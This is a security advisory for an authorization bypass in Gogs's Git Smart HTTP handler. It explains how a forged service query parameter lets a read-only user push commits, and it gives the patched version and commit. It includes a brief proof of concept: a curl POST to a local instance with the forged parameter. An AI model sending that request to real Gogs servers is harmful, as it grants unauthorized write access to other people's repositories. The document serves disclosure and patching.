CVE-2026-52810: Gogs Git Smart HTTP Authorization Bypass via service Query Parameter Confusion
A read-only collaborator on a Gogs instance can push commits to a repository they should never be able to write to, by forging a single query parameter on the push HTTP request.

The problem
Gogs' Git Smart HTTP handler decides which access level to enforce based on the client-supplied `service` query parameter rather than the actual URL path being routed.
The Git protocol exposes two RPCs over HTTP: `upload-pack` (read/fetch) and `receive-pack` (write/push). When a client POSTs to `/repo.git/git-receive-pack?service=git-upload-pack`, Gogs evaluates authorization as if the request were a read, but the router still dispatches to the write code path.
Any authenticated user with read access can therefore push commits, branches, or force-push over existing history.
The impact is widest on instances with `REQUIRE_SIGNIN_VIEW = true`, where every signed-in user can push to any public repository. Even in default configurations, a read-only collaborator can exploit this against any repo they can see.
Proof of concept
# 1. Run a local MITM proxy that appends ?service=git-upload-pack to every
# git-receive-pack POST, then push through it.
#
# Core rewrite (from the published PoC):
# POST /victim/target.git/git-receive-pack
# becomes:
# POST /victim/target.git/git-receive-pack?service=git-upload-pack
#
# Minimal curl equivalent (shows the raw request Gogs mis-authorizes):
curl -u attacker:password \
-X POST \
-H 'Content-Type: application/x-git-receive-pack-request' \
'http://localhost:3000/victim/target.git/git-receive-pack?service=git-upload-pack' \
--data-binary @push-pack.bin
# The full Python PoC (proxy + git push) is in the published advisory:
# https://github.com/gogs/gogs/security/advisories/GHSA-wmfg-5p4h-5fw3The vulnerable code derived the required access mode from `c.Query("service")` (or equivalent query-string read) instead of from the matched route. Because HTTP query parameters are fully attacker-controlled, supplying `service=git-upload-pack` on a `git-receive-pack` request caused the authorization gate to check read permission while the router executed the write handler.
The patch (commit `7c9cf53`) corrects this by deriving the access mode from the RPC path itself, making the `service` parameter irrelevant to the authorization decision. CWE-284 (Improper Access Control) applies directly: the trust boundary was placed on client-supplied input rather than server-side routing state.
The fix
Upgrade to Gogs 0.14.3 or later. The fix is in commit `7c9cf53aca957959bcd98b0cc987d9901b7cb184` (PR #8331). No configuration workaround exists for earlier versions; the only safe option is upgrading.